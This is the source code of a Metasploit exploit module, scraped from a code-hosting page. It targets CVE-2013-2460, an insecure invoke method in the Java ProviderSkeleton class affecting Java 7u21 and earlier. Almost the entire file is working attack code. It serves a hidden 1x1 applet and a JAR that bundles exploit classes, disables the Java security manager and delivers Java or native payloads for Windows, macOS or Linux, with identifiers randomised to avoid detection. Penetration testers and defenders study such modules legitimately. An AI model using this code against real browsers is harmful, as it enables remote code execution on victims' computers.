Path: blob/master/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
31927 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ javascript: false })1314EXPLOIT_STRING = 'Exploit'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',21'Description' => %q{22This module abuses the insecure invoke() method of the ProviderSkeleton class that23allows to call arbitrary static methods with user supplied arguments. The vulnerability24affects Java version 7u21 and earlier.25},26'License' => MSF_LICENSE,27'Author' => [28'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC29'Matthias Kaiser' # Metasploit module30],31'References' => [32[ 'CVE', '2013-2460' ],33[ 'OSVDB', '94346' ],34[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],35[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],36[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],37[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]38],39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' => [41[42'Generic (Java Payload)',43{44'Platform' => ['java'],45'Arch' => ARCH_JAVA46}47],48[49'Windows x86 (Native Payload)',50{51'Platform' => 'win',52'Arch' => ARCH_X8653}54],55[56'Mac OS X x86 (Native Payload)',57{58'Platform' => 'osx',59'Arch' => ARCH_X8660}61],62[63'Linux x86 (Native Payload)',64{65'Platform' => 'linux',66'Arch' => ARCH_X8667}68],69],70'DefaultTarget' => 0,71'DisclosureDate' => '2013-06-18',72'Notes' => {73'Reliability' => UNKNOWN_RELIABILITY,74'Stability' => UNKNOWN_STABILITY,75'SideEffects' => UNKNOWN_SIDE_EFFECTS76}77)78)79end8081def randomize_identifier_in_jar(jar, identifier)82identifier_str = rand_text_alpha(identifier.length)83jar.entries.each do |entry|84entry.name.gsub!(identifier, identifier_str)85entry.data = entry.data.gsub(identifier, identifier_str)86end87end8889def setup90path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-2460', 'Exploit.class')91@exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }92path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-2460', 'ExpProvider.class')93@provider_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }94path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-2460', 'DisableSecurityManagerAction.class')95@action_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }9697@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)98@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)99100super101end102103def on_request_uri(cli, request)104print_status("handling request for #{request.uri}")105106case request.uri107when /\.jar$/i108jar = payload.encoded_jar109jar.add_file("#{@exploit_class_name}.class", @exploit_class)110jar.add_file('ExpProvider.class', @provider_class)111jar.add_file('DisableSecurityManagerAction.class', @action_class)112randomize_identifier_in_jar(jar, 'metasploit')113randomize_identifier_in_jar(jar, 'payload')114jar.build_manifest115116send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' })117when %r{/$}118payload = regenerate_payload(cli)119if !payload120print_error('Failed to generate the payload.')121send_not_found(cli)122return123end124send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })125else126send_redirect(cli, get_resource + '/', '')127end128end129130def generate_html131html = %(132<html>133<body>134<applet archive="#{rand_text_alpha(rand(3..7))}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>135</body>136</html>137)138return html139end140end141142143